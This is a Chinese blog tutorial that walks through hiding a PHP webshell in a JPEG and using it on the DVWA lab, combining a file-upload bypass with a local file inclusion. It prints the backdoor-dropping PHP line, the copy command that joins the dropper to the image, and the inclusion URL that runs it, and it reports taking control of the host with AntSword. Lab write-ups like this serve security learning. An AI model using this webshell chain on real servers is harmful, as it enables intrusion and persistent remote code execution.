PHP 图片木马隐写方法及靶机演示

前言

注:文章仅用于网络安全学习!!!

在上文中我们简单的讲解了一句话木马的相关的内容

上文链接:PHP 一句话木马 @eval($_POST[‘hack‘]); 语句解析及靶机演示

通常,我们还会面临防御者对文件类型、大小进行的过滤。有些规定只能上传图片的还可能对图片进行采集,即使攻击者更改文件类型也会被拦截。

此时,我们就需要一张真正的图片来做掩护,利用隐写术将木马写入图片中,以此来绕过防御。

图片木马

隐写术:

隐写术是一门关于信息隐藏的技巧与科学,所谓信息隐藏指的是不让除预期的接收者之外的任何人知晓信息的传递事件或者信息的内容

隐写目的:以表面正常的数字载体如静止图象、数字音频和视频信号等作为掩护,在其中隐藏秘密信息。额外数据的嵌入既不改变载体信号的视、听觉效果,也不改变计算机文件的大小和格式(包括文件头),使隐蔽信息能以不为人知的方式进行传输

隐写领域用的最多的就是把需要隐写的内容以二进制的形式写入图片中

隐写方法:

首先我们准备一个正常的图片与一个php木马文件

php木马文件代码如下:

<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[hack]);?>'); ?>

 然后打开cmd终端,执行以下copy命令

copy logo.jpg/b+hack.php/a hack.jpg

其中的/b表示二进制文件,/a表示ASCII码文件

可以看到图中生成的hack.jpg就是生成的图片木马

我们打开该木马图片文件,可以看到木马已经被写入到图片文件的末尾了

靶机演示

我们打开DVWA靶场,选择“高”安全等级,找到文件上传

然后查看源代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

发现只允许通过jpg、jpeg、png类型的文件,而且getimagesize()函数还限制了上传文件的文件头必须为图像类型

此时刚好可以用到刚刚做好的图片木马,我们上传该图片,回显出了文件上传地址

然后我们利用DVWA的文件包含漏洞,点开file1.php 

将URL栏中的

?page=file1.php

改为以下指令,访问刚刚上传的hack.jpg

?page=file:///D:\phpStudy\phpstudy_pro\WWW\DVWA\hackable\uploads\hack.jpg

页面回显出以下内容

此时在DVWA文件包含漏洞目录下已经自动生成了hack.php木马文件

我们打开“中国蚁剑”,尝试连接该网站主机

连接成功,成功掌控目标主机

至此,我们结合文件上传漏洞和文件包含漏洞,在只能上传图片的网站主机中植入一句话木马并成功连接掌控目标网站主机

  • 4
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值